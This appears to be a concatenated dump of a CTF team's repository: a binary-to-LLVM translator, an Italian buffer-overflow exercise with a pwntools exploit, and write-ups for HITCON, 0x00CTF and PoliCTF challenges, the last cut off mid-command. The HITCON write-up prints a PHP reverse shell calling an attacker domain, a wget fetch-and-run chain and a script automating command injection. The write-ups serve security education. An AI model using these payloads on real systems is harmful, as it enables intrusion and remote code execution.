n_dst_regs, scratch, bldr, regs, funcs, blocks): 84 | i = start 85 | terminate_func = True 86 | while i >= 0: 87 | if i in blocks: 88 | # Branch to already translated block, we're done 89 | bldr.branch(blocks[i]['blk']) 90 | for j in range(len(regs)): 91 | blocks[i]['phi'][j].add_incoming(regs[j], bldr.block) 92 | terminate_func = False 93 | break 94 | 95 | # Branch to new instruction block 96 | blk = bldr.append_basic_block() 97 | bldr.branch(blk) 98 | pred_blk = bldr.block 99 | bldr.position_at_start(blk) 100 | blocks[i] = { 'blk': bldr.block, 'phi': [] } 101 | for j in range(len(regs)): 102 | phi = bldr.phi(t_int) 103 | phi.add_incoming(regs[j], pred_blk) 104 | blocks[i]['phi'].append(phi) 105 | regs[j] = phi 106 | 107 | instr = disasm[i] 108 | if instr.opcode == instr.OPCODE_INC: 109 | reg_idx = REGS_MAP[instr.opnd] 110 | # reg += 1; goto n1; 111 | regs[reg_idx] = bldr.add(regs[reg_idx], int_const(1)) 112 | i = instr.n1 113 | elif instr.opcode == instr.OPCODE_CDEC: 114 | # if (reg != 0) { reg -= 1; goto n1; }; goto n2; 115 | if instr.opnd != ZERO_REG: 116 | reg_idx = REGS_MAP[instr.opnd] 117 | cond_nz = bldr.icmp_unsigned('!=', regs[reg_idx], int_const(0)) 118 | with bldr.if_then(cond_nz): 119 | regs_new = list(regs) 120 | regs_new[reg_idx] = bldr.sub(regs[reg_idx], int_const(1)) 121 | translate_r(module, disasm, instr.n1, n_dst_regs, scratch, bldr, regs_new, funcs, blocks) 122 | i = instr.n2 123 | elif instr.opcode == instr.OPCODE_CALL: 124 | # r[0...opnd-1] = n1(...); goto n2; 125 | translate_call(module, disasm, instr.n1, instr.opnd-1, scratch, bldr, regs, funcs) 126 | i = instr.n2 127 | 128 | if terminate_func: 129 | # Store destination registers 130 | for i in range(n_dst_regs): 131 | bldr.store(regs[i+1], bldr.function.args[i]) 132 | # Return regs[0] 133 | bldr.ret(regs[0]) 134 | 135 | return funcs 136 | 137 | def translate(disasm): 138 | module = ll.Module(name='code') 139 | 140 | # Create int64 entry(int64 x) 141 | t_entry = ll.FunctionType(t_int, (t_int,)) 142 | f = ll.Function(module, t_entry, name='entry') 143 | bldr = ll.IRBuilder(f.append_basic_block()) 144 | scratch = [bldr.alloca(t_int) for i in range(MAX_DST_REGS)] 145 | regs = [f.args[0]] + [int_const(0)]*(len(REGS_MAP)-1) 146 | funcs = {} 147 | # Return sub_0(x) 148 | translate_call(module, disasm, 0, 0, scratch, bldr, regs, funcs) 149 | bldr.ret(regs[0]) 150 | 151 | return module 152 | 153 | with open(sys.argv[1], 'rb') as f: 154 | code = f.read() 155 | 156 | disasm = disassemble(code) 157 | module = translate(disasm) 158 | 159 | llvm.initialize() 160 | llvm.initialize_native_target() 161 | llvm.initialize_native_asmprinter() 162 | 163 | llvm_module = llvm.parse_assembly(str(module)) 164 | 165 | tm = llvm.Target.from_default_triple().create_target_machine() 166 | 167 | pmb = llvm.PassManagerBuilder() 168 | pmb.inlining_threshold = 10000 169 | 170 | mpm = llvm.ModulePassManager() 171 | pmb.populate(mpm) 172 | mpm.add_dead_arg_elimination_pass() 173 | mpm.add_cfg_simplification_pass() 174 | tm.add_analysis_passes(mpm) 175 | mpm.run(llvm_module) 176 | 177 | print(llvm_module) 178 | 179 | with llvm.create_mcjit_compiler(llvm_module, tm) as ee: 180 | ee.finalize_object() 181 | obj = tm.emit_object(llvm_module) 182 | 183 | with open(sys.argv[2], 'wb') as f: 184 | f.write(obj) 185 | -------------------------------------------------------------------------------- /PLAYGROUND/02 - Exploitation 101/Exercise 2/README.md: -------------------------------------------------------------------------------- 1 | # Remote Shell 2 | 3 | Vogliamo sovrascrivere l'indirizzo di ritorno di `main` con l'indirizzo di `spawn_shell`. Ci servono le seguenti informazioni: 4 | 5 | - Indirizzo di `spawn_shell`; 6 | - Distanza fra inizio del buffer e indirizzo di ritorno. 7 | 8 | Poi possiamo procedere con l'exploit. 9 | 10 | ## Indirizzo di `spawn_shell` 11 | 12 | Apriamo Remote Shell nel debugger `gdb` e printiamo l'indirizzo di `spawn_shell`: 13 | 14 | ``` 15 | $ gdb ./remote_shell 16 | [...] 17 | (gdb) p/x &spawn_shell 18 | $1 = 0x40076a 19 | ``` 20 | 21 | Dove `p` è un'abbreviazione del comando `print`, mentre `x` indica di stampare l'indirizzo in esadecimale (perchè è più comodo). Quindi l'indirizzo è `0x40076a`. 22 | 23 | Ci sono anche altri modi: 24 | 25 | ``` 26 | $ nm remote_shell | grep spawn_shell 27 | 000000000040076a T spawn_shell 28 | $ readelf -s remote_shell | grep spawn_shell 29 | 52: 000000000040076a 51 FUNC GLOBAL DEFAULT 13 spawn_shell 30 | $ objdump -t remote_shell| grep spawn_shell 31 | 000000000040076a g F .text 0000000000000033 spawn_shell 32 | ``` 33 | 34 | ## Offset del retaddr 35 | 36 | Un modo "grezzo" è provare varie lunghezze di overflow finchè non si ottiene un crash (perchè si è corrotto l'indirizzo di ritorno con un indirizzo non valido). 37 | Un metodo più raffinato è quello di trovare (1) l'indirizzo assoluto del buffer e (2) l'indirizzo assoluto dell'indirizzo di ritorno. Poi, prendendo la differenza, abbiamo la distanza fra i due. 38 | Apriamo il programma con `gdb` e iniziamo settando un breakpoint su `main` e lanciando il programma (`b` sta per `break`, `r` sta per `run`): 39 | 40 | ``` 41 | $ REMOTE_SHELL_PASSWORD=test gdb ./remote_shell 42 | [...] 43 | (gdb) b main 44 | Breakpoint 1 at 0x4007a1 45 | (gdb) r 46 | Starting program: /home/andrea/spritz_playground/remote_shell/remote_shell 47 | 48 | Breakpoint 1, 0x00000000004007a1 in main () 49 | ``` 50 | 51 | Ora siamo fermi all'inizio di `main`. Dopo che abbiamo inserito la password verrà chiamato `strcmp` per confrontarla con la vera password, e `buffer` sarà passato come primo argomento a `strcmp`, quindi possiamo osservare il suo indirizzo assoluto. Impostiamo un breakpoint su `strcmp` e riprendiamo il programma (`c` per `continue`): 52 | 53 | ``` 54 | (gdb) b strcmp 55 | Breakpoint 2 at gnu-indirect-function resolver at 0x7ffff7a97540: file ../sysdeps/x86_64/multiarch/strcmp.S, line 87. 56 | (gdb) c 57 | Continuing. 58 | Enter password: asd 59 | 60 | Breakpoint 2, __strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:24 61 | 24 movl %edi, %eax 62 | ``` 63 | 64 | Sul Linux x86 64-bit, il primo argomento a una funzione è passato nel registro `rdi`, quindi stampandolo possiamo ottenere l'indirizzo di `buffer`: 65 | 66 | ``` 67 | (gdb) p/x $rdi 68 | $1 = 0x7fffffffdc60 69 | ``` 70 | 71 | Ora dobbiamo trovare l'indirizzo del retaddr. Ci sono due registri che controllano lo stack: `rsp` (stack pointer), che punta sempre alla cima dello stack, e `rbp` (base pointer), che punta al saved base pointer. Non sappiamo la dimensione dello stack frame, quindi la cima dello stack ci dà poche informazioni. Invece sappiamo che il saved base pointer (anche se non ci interessa cosa sia) è sempre collocato immediatamente prima del retaddr, ed è lungo 8 byte (su 64-bit). Quindi `rbp+8` sarà l'indirizzo del retaddr: 72 | 73 | ``` 74 | (gdb) p/x $rbp+8 75 | $2 = 0x7fffffffdc98 76 | ``` 77 | 78 | Ora basta prendere la differenza (con una calcolatrice o direttamente da `gdb`): 79 | 80 | ``` 81 | (gdb) p/x ($rbp+8)-$rdi 82 | $3 = 0x38 83 | ``` 84 | 85 | Ottimo, vuol dire che ci servono 0x38 (56) byte per raggiungere l'indirizzo di ritorno. 86 | 87 | Quest'informazione si può anche ottenere tramite reverse engineering del binario, per esempio: 88 | 89 | ``` 90 | (gdb) disass main 91 | Dump of assembler code for function main: 92 | [...] 93 | 0x00000000004007fe <+97>: lea -0x30(%rbp),%rax 94 | 0x0000000000400802 <+101>: mov %rdx,%rsi 95 | 0x0000000000400805 <+104>: mov %rax,%rdi 96 | 0x0000000000400808 <+107>: callq 0x400620 97 | [...] 98 | ``` 99 | 100 | Quel `lea -0x30(%rbp), %rax` indica che il buffer è a `rbp-0x30`, cioè ci sono `0x38` byte tra buffer e retaddr. Molti strumenti di reversing (Hex-Rays IDA, Binary Ninja, ...) analizzano lo stack frame e ne mostrano la struttura, quindi si vede l'offset a colpo d'occhio. Altre possibilità sono l'uso di breakpoint sull'istruzione `ret` o la derivazione dell'offset tramite pattern ciclici (De Bruijin). Il metodo con `gdb` illustrato inizialmente rimane abbastanza semplice soprattutto per chi non mastica assembly. 101 | 102 | ## Exploit 103 | 104 | Ora possiamo costruire il nostro payload: 105 | 106 | - 56 byte di spaz(i|z)atura; 107 | - 8 byte di indirizzo di ritorno, cioè l'indirizzo di `spawn_shell` (0x40076a) codificato come un intero little-endian a 64 bit: `6a 07 40 00 00 00 00 00`. 108 | 109 | Per convertire un intero Python in una stringa di byte codificati possiamo usare le funzioni `p*` di pwntools, in questo caso `p64` (perchè vogliamo codificare un intero a 64bit), anzichè farlo a mano. 110 | 111 | L'exploit quindi è qualcosa del genere: 112 | 113 | ``` 114 | from pwn import * 115 | 116 | context(os='linux', arch='x86_64') 117 | 118 | p = process('./remote_shell', env={'REMOTE_SHELL_PASSWORD': 'test'}) 119 | 120 | p.recvuntil('Enter password: ') 121 | 122 | buf = 'A'*56 123 | buf += p64(0x40076a) 124 | 125 | p.sendline(buf) 126 | p.interactive() 127 | ``` 128 | 129 | Ora basta rimpiazzare `process` con `remote` per lanciarlo contro il server remoto e ottenere una shell, da cui potete leggere la flag. Ovviamente `env` non serve più in remoto (e non avrebbe alcun senso). 130 | -------------------------------------------------------------------------------- /hitcon-quals-2017/web/babyfirst-revenge/README.md: -------------------------------------------------------------------------------- 1 | [writeup by @TheNodi] 2 | 3 | **CTF:** HITCON 2017 Quals 4 | 5 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 6 | 7 | **Task:** web / BabyFirst Revenge 8 | 9 | The following is the challenge script running on the remote server: 10 | 11 | ```php 12 | abcd` will create a file named `abcd`. 29 | To execute more useful commands (especially with arguments) we can use shell expansion: it will take a `*` and expand it to all the files in the current directory. This means that, naming files appropriately, we easily can run commands of length <= 4, with arguments <=4, given that `command` precedes `argument` in alphabetical order. 30 | 31 | To locate the file, we can use `find` to list every file in the system and check if something looks interesting. We ran `>find` to create a file called `find`, and then `* />z`, which expands to `find / > z`. We opened `z` in the browser and looked at the list of files. The flag probably is inside `/home/fl4444g/README.txt`. 32 | 33 | ~~There's no way we can read that file with just 5 bytes~~ One of the commands that precedes, in alphabetical order, its option is `tar`. It's probably not very _kosher_ to do, but we `tar`ed the home folders with the above technique, and downloaded the resulting archive. Unfortunately... 34 | 35 | ``` 36 | /home/fl4444g/README.txt 37 | Flag is in the MySQL database 38 | fl4444g / SugZXUtgeJ52_Bvr 39 | ``` 40 | 41 | ...we need remote code execution. 42 | 43 | We can use shell expansion to call `wget` and download a custom script, but we need to create a file named as our domain. 44 | 45 | After some looking around, we found an interesting option of the `mv` command: `-S, --suffix`. We can move files around adding a suffix, a letter at a time. 46 | 47 | Unfortunately to expand properly we need our domain to begin with a letter that comes after `m` (of `mv`), luckily we can use dots so we just created `thedomain.no-ip.org` which points to one of out machines. 48 | 49 | On that machine we exposed two things. A web server that answer every request with a reverse shell code, we choose PHP because we know it's available on the target machine: `php -r '$sock=fsockopen("thedomain.no-ip.org",9999);exec("/bin/sh -i <&3 >&3 2>&3");'`. A netcat socket on port `9999` the target machine will connect to: `nc -lp 9999`. 50 | 51 | We can now setup the target machine. We create 3 files: `mv` to run our command, `n` as a dumb file for mv, `t` as the starting point of our domain name. We can now keep calling `* -Sh`, which will add the given letter (in this case `h`) to our files. Once we are done, we remove the `mv` file and we create a `wget` file. 52 | 53 | Our directory will contain the following files: `wget`, `thedomain.no-ip.or`, `thedomain.no-ip.org`. 54 | 55 | We can now run `w* *`, which will expand to `wget thedomain.no-ip.or thedomain.no-ip.org wget`. Wget will try to download files from each of those urls, but only our site will be up, so the content of that will be saved as `index.html`. 56 | 57 | We can now run our `index.html` as a shell script using `sh i*`. 58 | 59 | If we switch to our netcat terminal tab, we will find a fancy prompt saying `$` and waiting for our commands. We are done. 60 | 61 | Everything else is straightforward: 62 | ``` 63 | $ cat /home/fl4444g/README.txt 64 | Flag is in the MySQL database 65 | fl4444g / SugZXUtgeJ52_Bvr 66 | 67 | $ mysql -u fl4444g -pSugZXUtgeJ52_Bvr -e "show databases;" 68 | mysql: [Warning] Using a password on the command line interface can be insecure. 69 | Database 70 | information_schema 71 | fl4gdb 72 | 73 | $ mysql -u fl4444g -pSugZXUtgeJ52_Bvr -e "use fl4gdb; show tables;" 74 | mysql: [Warning] Using a password on the command line interface can be insecure. 75 | Tables_in_fl4gdb 76 | this_is_the_fl4g 77 | 78 | $ mysql -u fl4444g -pSugZXUtgeJ52_Bvr -e "use fl4gdb; select * from this_is_the_fl4g;" 79 | mysql: [Warning] Using a password on the command line interface can be insecure. 80 | secret 81 | hitcon{idea_from_phith0n,thank_you:)} 82 | ``` 83 | 84 | Our flag is: `hitcon{idea_from_phith0n,thank_you:)}` 85 | 86 | ### Automated script 87 | ```js 88 | #!/usr/bin/env node 89 | const fetch = require("node-fetch"); 90 | 91 | function reset() { 92 | return fetch("http://52.199.204.34/?reset=1"); 93 | } 94 | 95 | function exec(cmd) { 96 | return fetch("http://52.199.204.34/?cmd=" + encodeURIComponent(cmd)); 97 | } 98 | 99 | (async () => { 100 | await reset(); 101 | 102 | await exec(`>mv`); 103 | await exec(`>n`); 104 | 105 | const address = 'thedomain.no-ip.org'; 106 | for (let i = 0; i < address.length; i++) { 107 | if (i == 0) { 108 | await exec(`>${address[i]}`); 109 | } else { 110 | await exec(`* -S${address[i]}`); 111 | } 112 | } 113 | 114 | await exec(`rm m*`); 115 | await exec(`>wget`); 116 | await exec(`w* *`); 117 | await exec(`sh i*`); 118 | 119 | console.log('OK'); 120 | })(); 121 | ``` 122 | -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/tools/callgraph.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import struct 4 | from collections import deque 5 | 6 | 7 | import networkx as nx 8 | 9 | 10 | INSTR_INC = 0 11 | INSTR_DEC = 1 12 | INSTR_FRK = 2 13 | INSTR_JMP = 3 14 | INSTR_RET = 4 15 | 16 | 17 | def pretty(i): 18 | if i.opcode == INSTR_INC: 19 | return 'inc r{}, {}'.format(i.op, i.next1) 20 | elif i.opcode == INSTR_DEC: 21 | return 'cdec r{}, {}, {}'.format(i.op, i.next1, i.next2) 22 | elif i.opcode == INSTR_FRK: 23 | return 'call {{{}}}, {}, {}'.format(','.join('r{}'.format(a) for a in range(i.op)), i.next1, i.next2) 24 | elif i.opcode == INSTR_JMP: 25 | return 'jmp {}'.format(i.next1) 26 | elif i.opcode == INSTR_RET: 27 | return 'ret'.format(i.addr) 28 | else: 29 | assert 1 == 0 30 | 31 | 32 | class Instruction(object): 33 | def __init__(self, addr, opcode, op, next1, next2): 34 | self.addr = addr 35 | self.opcode = opcode 36 | self.op = op 37 | self.next1 = next1 38 | self.next2 = next2 39 | 40 | def __repr__(self): 41 | return self.__str__() 42 | 43 | def __str__(self): 44 | return 'Instr({}, {}, {}, {}, {})'.format(self.addr, self.opcode, self.op, self.next1, self.next2) 45 | 46 | 47 | class Call(object): 48 | def __init__(self, addr, regs): 49 | self.addr = addr 50 | self.regs = regs 51 | 52 | def __repr__(self): 53 | return self.__str__() 54 | 55 | def __str__(self): 56 | return 'Call({}, {})'.format(self.addr, self.regs) 57 | 58 | 59 | class Function(object): 60 | def __init__(self, addr, regs): 61 | self.addr = addr 62 | self.calls = set() 63 | self.instrs = dict() 64 | self.regs = regs 65 | 66 | def add(self, instr): 67 | self.instrs[instr.addr] = instr 68 | 69 | def __str__(self): 70 | return 'Function({}, {}, {}, {{{}}})'.format( 71 | self.addr, str(self.calls), self.instrs, ','.join('r{}'.format(i) for i in range(self.regs)) 72 | ) 73 | 74 | 75 | def analyze(instrs, start=0, regs=1, called=set()): 76 | f = Function(start, regs) 77 | funks = {start: f} 78 | q = deque() 79 | analyzed = set() 80 | q.append(instrs[start]) 81 | while len(q) > 0: 82 | i = q.popleft() 83 | if i in analyzed: 84 | continue 85 | analyzed.add(i) 86 | 87 | if i.addr > len(instrs): 88 | print("EXIT") 89 | continue 90 | if i.opcode == INSTR_FRK: 91 | f.calls.add(Call(i.next1, i.op)) 92 | f.add(i) 93 | q.append(instrs[i.next2]) 94 | elif i.opcode == INSTR_DEC: 95 | f.add(i) 96 | q.append(instrs[i.next1]) 97 | q.append(instrs[i.next2]) 98 | elif i.opcode == INSTR_INC: 99 | f.add(i) 100 | q.append(instrs[i.next1]) 101 | elif i.opcode == INSTR_JMP: 102 | f.add(i) 103 | q.append(instrs[i.next1]) 104 | elif i.opcode == INSTR_RET: 105 | f.add(i) 106 | 107 | for c in f.calls: 108 | if c.addr in called: 109 | continue 110 | called.add(c.addr) 111 | bb, cc = analyze(instrs, start=c.addr, regs=c.regs, called=called) 112 | funks.update(bb) 113 | called.update(cc) 114 | 115 | return funks, called 116 | 117 | 118 | def load_file(file_path): 119 | code = open(file_path, 'rb').read() 120 | n = struct.unpack('I', code[:4])[0] 121 | code = code[4:] 122 | instrs = [] 123 | for i in range(n): 124 | instr = Instruction(i, *struct.unpack('<4I', code[16 * i:16 * (i + 1)])) 125 | if instr.opcode == INSTR_DEC and instr.op == 25: 126 | instr = Instruction(i, INSTR_JMP, 0, instr.next2, 0) 127 | instrs.append(instr) 128 | instrs.append(Instruction(119, INSTR_RET, 0, 0, 0)) 129 | return instrs 130 | 131 | 132 | def print_disassembly(funks): 133 | for b in sorted(funks): 134 | b = funks[b] 135 | print("Function: {}".format(b.addr)) 136 | ii = sorted(b.instrs.values(), key=lambda x: x.addr) 137 | for i in ii: 138 | print('{: 3}:'.format(i.addr), pretty(i)) 139 | print() 140 | 141 | 142 | def draw_callgraph(funks): 143 | block_graph = nx.DiGraph() 144 | for b in funks.values(): 145 | block_graph.add_node(b.addr) 146 | for b in funks.values(): 147 | for c in b.calls: 148 | block_graph.add_edge(b.addr, c.addr) 149 | 150 | a = nx.nx_agraph.to_agraph(block_graph) 151 | a.layout(prog='dot') 152 | a.draw('callgraph.png') 153 | 154 | 155 | def draw_cfg(funks): 156 | fgs = {} 157 | for b in funks.values(): 158 | fg = nx.DiGraph() 159 | for i in b.instrs.values(): 160 | fg.add_node(i.addr, { 'label': '{}: {}'.format(i.addr, pretty(i)) }) 161 | for i in b.instrs.values(): 162 | if i.opcode == INSTR_INC: 163 | fg.add_edge(i.addr, i.next1) 164 | elif i.opcode == INSTR_DEC: 165 | fg.add_edge(i.addr, i.next1) 166 | fg.add_edge(i.addr, i.next2) 167 | elif i.opcode == INSTR_FRK: 168 | fg.add_edge(i.addr, i.next2) 169 | elif i.opcode == INSTR_JMP: 170 | fg.add_edge(i.addr, i.next1) 171 | else: 172 | assert i.opcode == INSTR_RET 173 | fgs[b.addr] = fg 174 | 175 | a = nx.nx_agraph.to_agraph(fg) 176 | a.layout(prog='dot') 177 | a.draw('function_{}.png'.format(b.addr)) 178 | 179 | 180 | def main(file_path, print_bytecode=False, make_callgraph=False): 181 | instrs = load_file(file_path) 182 | funks, _ = analyze(instrs) 183 | 184 | if print_bytecode: 185 | print_disassembly(funks) 186 | 187 | if make_callgraph: 188 | draw_callgraph(funks) 189 | draw_cfg(funks) 190 | 191 | 192 | if __name__ == '__main__': 193 | main('code', make_callgraph=True) 194 | -------------------------------------------------------------------------------- /0x00ctf-2017/pwn/left-250/README.md: -------------------------------------------------------------------------------- 1 | [writeup by @abiondo] 2 | 3 | **CTF:** 0x00 CTF 2017 4 | 5 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 6 | 7 | **Task:** pwn / Left 8 | 9 | **Points:** 250 10 | 11 | We're given a 64-bit ELF executable, along with its libc: 12 | 13 | ``` 14 | left: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=3d8808a82ddfa25f6f142a4de2d7e877f526a5de, with debug_info, not stripped 15 | libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped 16 | ``` 17 | 18 | Checksec shows full RELRO and NX, but no stack canary and no PIE. 19 | 20 | The program is pretty simple. First, it prints out the address of `printf` (so we have a libc leak). Then, it asks for a read address and prints out a qword read from that address. Finally, it asks for a write address and for a qword that it will write at that address. The write is immediately followed by termination via `exit`. 21 | 22 | Given the conditions (full RELRO, no malloc/free after the write, hard to create fake structures), the only realistic way of exploitation is by corrupting `atexit` handlers. The `atexit` library function allows to add a function to a list of functions that will be called upon `exit`. This list can extend via dynamic allocations, but it's initially inside the libc data section (named `initial`). Its type is `struct exit_function_list`: 23 | 24 | ```c 25 | struct exit_function { 26 | long int flavor; 27 | union { /* bunch of fptr types */ } func; 28 | }; 29 | struct exit_function_list { 30 | struct exit_function_list *next; 31 | size_t idx; 32 | struct exit_function fns[32]; 33 | }; 34 | ``` 35 | 36 | By overwriting an existing entry in `fns` we can hijack execution once `exit` is called. There's an issue, though. The pointers are mangled to prevent exactly this kind of attack, via the `PTR_(DE)MANGLE` macros. Mangling consists in XORing with a secret value (in TLS), then rotating left by 17 bits. When the function has to be called, the pointer is demangled by rotating right by 17 bits and XORing with the secret. Since we don't know the secret, we can't contruct a mangled pointer and we'll only be able to crash the program. 37 | 38 | However, we have a memory read before the write. Say that we know the function pointer for an `atexit` entry. We can read the mangled pointer and compute the secret, then use it to mangle our pointer for the write. So let's see what entries are already there. In this libc, `initial` is at offset 0x3C5C40 (you can see it by looking at `__cxa_atexit`): 39 | 40 | ``` 41 | gef➤ x/4xg 0x00007f776310a000+0x3c5c40 42 | 0x7f77634cfc40: 0x0000000000000000 0x0000000000000001 43 | 0x7f77634cfc50: 0x0000000000000004 0x8094f89617513c86 44 | ``` 45 | 46 | We can see that `next` is NULL (there's only the `initial` list) and `idx` is 1 (there's one entry). The function pointer (at libc+0x3C5C58) has flavor 4 (`ef_cxa`), which is not really important for us. What does this correspond to? We could mess with the TLS, o set breakpoints, or just: 47 | 48 | ``` 49 | gef➤ set *((unsigned long *) 0x7f77634cfc58) = 0 50 | gef➤ c 51 | Continuing. 52 | Program received signal SIGSEGV, Segmentation fault. 53 | 0x00007f7763143ff6 in ?? () 54 | gef➤ x/i $rip 55 | => 0x7f7763143ff6: call rdx 56 | gef➤ p/x $rdx 57 | $1 = 0x9e433f3d1f054f58 58 | ``` 59 | 60 | I set the mangled pointer to zero. When the pointer was demangled, it was rotated (still zero) and XORed with the secret, so now the address it's trying to jump to is exactly the secret. Now that we have the secret for the current run, we can demangle the entry we found earlier and see what it points to: 61 | 62 | ``` 63 | $ python 64 | >>> ror17 = lambda x : ((x << 47) & (2**64 - 1)) | (x >> 17) 65 | >>> hex(ror17(0x8094f89617513c86) ^ 0x9e433f3d1f054f58) 66 | '0x7f77634e44f0L' 67 | ``` 68 | 69 | Let's check it out: 70 | 71 | ``` 72 | gef➤ x/i 0x7f77634e44f0 73 | 0x7f77634e44f0 <_dl_fini>: push rbp 74 | ``` 75 | 76 | Ouch, that's bad news. The only entry points to `_dl_fini`, which is a function from the dynamic loader (`ld.so`). When a program is executed on Linux, the loader passes a finalization function (`rtld_fini`) to the entry point, which then passes it to `__libc_start_main`, which registers it with `atexit`. This is what we're seeing. Unfortunately, `_dl_fini` resides in ld, which we don't have a leak for. 77 | 78 | There's a technique to calculate addresses in other libraries, sometimes called offset2lib. Linux loads libraries one after the other, which means that one library will be at a fixed offset from another. Since we have leaked libc, if we determine the offset to ld we can calculate addresses inside of ld. There's another obstacle: we don't have the server's ld, so we don't know at what offset `_dl_fini` is. 79 | 80 | What we do have is an arbitrary read. With each connection to the server we get a read. The offsets we're looking for are fixed between executions, so what about using the read to find the offset to `_dl_fini`? Without bothering with symbol tables, I noticed that the entry point of ld had an instruction that loaded the address of `_dl_fini` into a register with RIP-relative addressing. Hoping that this instruction would be there remotely, I did the following: 81 | 82 | 1. Starting at the end of libc, look for the `\x7fELF` ELF header, which marks the base of ld (because it's the only other library and it follows libc). This can be done in 4kB increments because library bases are page-aligned. 83 | 2. Read the entry point at offset 0x18 within the ELF header. 84 | 3. Read the `lea rdx, [rip+X]` instruction at offset 0x3A in the entry function. This loads the address of `_dl_fini` into `rdx`. By decoding the instruction you get the offset of `_dl_fini` from RIP. 85 | 86 | See the [script](./leak.py) for more details. 87 | 88 | With this, I found out that `_dl_fini` is at libc+0x3DAAB0 on the remote side. At this point it's pretty easy to read the entry, calculate the secret, mangle a pointer and write it back. RIP control achieved! 89 | 90 | At this point I tried a few one-gadgets, and found one that worked at libc+0x4526A: 91 | 92 | ``` 93 | $ cat /home/left/flag.txt 94 | 0x00CTF{exPL0it1ng__EXit_FUNkz_LikE_4b0sZ!} 95 | ``` 96 | -------------------------------------------------------------------------------- /polictf-2017/pwnables/status-box-120/README.md: -------------------------------------------------------------------------------- 1 | [write-up by mi0s] 2 | 3 | **CTF:** PoliCTF 2017 4 | 5 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 6 | 7 | **Task:** Pwnables / Status Box 8 | 9 | **Points:** 120 10 | 11 | # Challenge 12 | 13 | > This Box memorizes a statuses sequence composed by a current status and all the previous ones. 14 | > It already contains a small sequence of statuses, but you can show only the current one. 15 | > You can set a new status, modify the current one or delete it: in this way the box goes back to the previous one in the sequence. 16 | > The box can keep track of maximum 200 statuses. It seems just to work fine, even though we didn't test it a lot...; 17 | 18 | The hostname and the port of the box were given: 19 | 20 | `nc statusbox.chall.polictf.it 31337` 21 | 22 | # Analysis 23 | 24 | Since we know nothing about the box, the first thing we do is connecting to it using netcat. 25 | 26 | The following output is printed on the CLI: 27 | 28 | > StatusBox started! This Box memorizes a statuses 29 | > sequence composed by a current status and all the previous ones. 30 | > It already contains a small sequence of statuses, but you can show 31 | > only the current one. 32 | > You can set a new status, modify the current one or delete it: in this way 33 | > the box goes back to the previous one in the sequence. 34 | > The box can keep track of maximum 200 statuses. 35 | > It seems just to work fine, even though we didn't test it a lot... 36 | > CURRENT STATUS: 37 | > This is the status set as default current status, change it! 38 | > 39 | > 40 | > Choose your action: 41 | > 42 | > 0 - Print the current status; 43 | > 44 | > 1 - Set a new current status; 45 | > 46 | > 2 - Delete the current status and go back to the previous one; 47 | > 48 | > 3 - Modify the current status. 49 | > 50 | > 4 - Exit (statuses will be lost.) 51 | 52 | All the info we need is given in the header part: 53 | 54 | * It already contains a small sequence of statuses, but you can only show the current one; 55 | 56 | * You can set a new status, modify the current one or delete it: in this way the box goes back to the previous one in the sequence. 57 | 58 | So, we can suppose that there is something before the first status. The problem is: 59 | 60 | __how can we reach it?__ 61 | 62 | Also, we are restricted to only four meaningful actions: *print*, *set*, *delete* and *modify*. 63 | 64 | In this scenario the restriction is good for us, we know exactly what we can do. We only have to find the correct sequence of actions. 65 | 66 | # Fail to win 67 | 68 | The straightforward approach is to delete all the statuses to reach the ones before the first. But when we try to delete the first one, the process loops in the same status without proceeding any further. 69 | 70 | At this stage only two useful actions were left: 71 | 72 | * set; 73 | 74 | * modify. 75 | 76 | Note that print does not modify the status. 77 | 78 | Uhm...we start thinking about how to use them while re-reading the header: 79 | 80 | > It seems just to work fine, even though we didn’t test it a lot… 81 | 82 | Ok, probably one of them is buggy. We start checking the corner cases for an input string. 83 | 84 | First, we try the modify action by replacing the current status with an empty string. 85 | 86 | The box replies with: 87 | > 88 | > Your choice was: 3 89 | > Insert the new status, it will modify the current one: 90 | > 91 | > You set the current state to empty, so it was deleted. 92 | > Going back to the previous state. 93 | > 94 | > Choose your action: 95 | > 96 | > 0 - Print the current status; 97 | > 98 | > 1 - Set a new current status; 99 | > 100 | > 2 - Delete the current status and go back to the previous one; 101 | > 102 | > 3 - Modify the current status. 103 | > 104 | > 4 - Exit (statuses will be lost.) 105 | > 106 | > 0 107 | > 108 | > Your choice was: 0 109 | > 110 | > CURRENT STATUS: 111 | > 112 | > That's strange... 113 | > 114 | > Choose your action: 115 | > 116 | > 0 - Print the current status; 117 | > 118 | > 1 - Set a new current status; 119 | > 120 | > 2 - Delete the current status and go back to the previous one; 121 | > 122 | > 3 - Modify the current status. 123 | > 124 | > 4 - Exit (statuses will be lost.) 125 | > 126 | > 3 127 | > 128 | > Your choice was: 3 129 | > 130 | > Insert the new status, it will modify the current one: 131 | > 132 | > You set the current state to empty, so it was deleted. 133 | > 134 | > Going back to the previous state. 135 | > 136 | > Choose your action: 137 | > 138 | > 0 - Print the current status; 139 | > 140 | > 1 - Set a new current status; 141 | > 142 | > 2 - Delete the current status and go back to the previous one; 143 | > 144 | > 3 - Modify the current status. 145 | > 146 | > 4 - Exit (statuses will be lost.) 147 | > 148 | > 0 149 | > 150 | > Your choice was: 0 151 | > 152 | > CURRENT STATUS: 153 | > 154 | > Are you sure of what you're doing? 155 | > 156 | > ... 157 | 158 | It works! 159 | 160 | When we modify the current status with an empty string the process deletes the current status and give us access to the previous status of the sequence. 161 | Unfortunately, the flag isn't at the -1 status. However, the process give us some hints that make us think that the flag could be hidden deeper in the sequence. 162 | Ok, hoping to find the flag by manually iterating the sequence is a PITA... not an option! 163 | 164 | So, we automate the process with a shell oneliner which iterates the sequence, generating a log of the actions and inspecting it for the flag: 165 | 166 | ```bash 167 | cat <(for i in $(seq 0 99); do echo "0"; sleep 2s; echo "3"; sleep 2s; echo ""; done;) | nc statusbox.chall.polictf.it 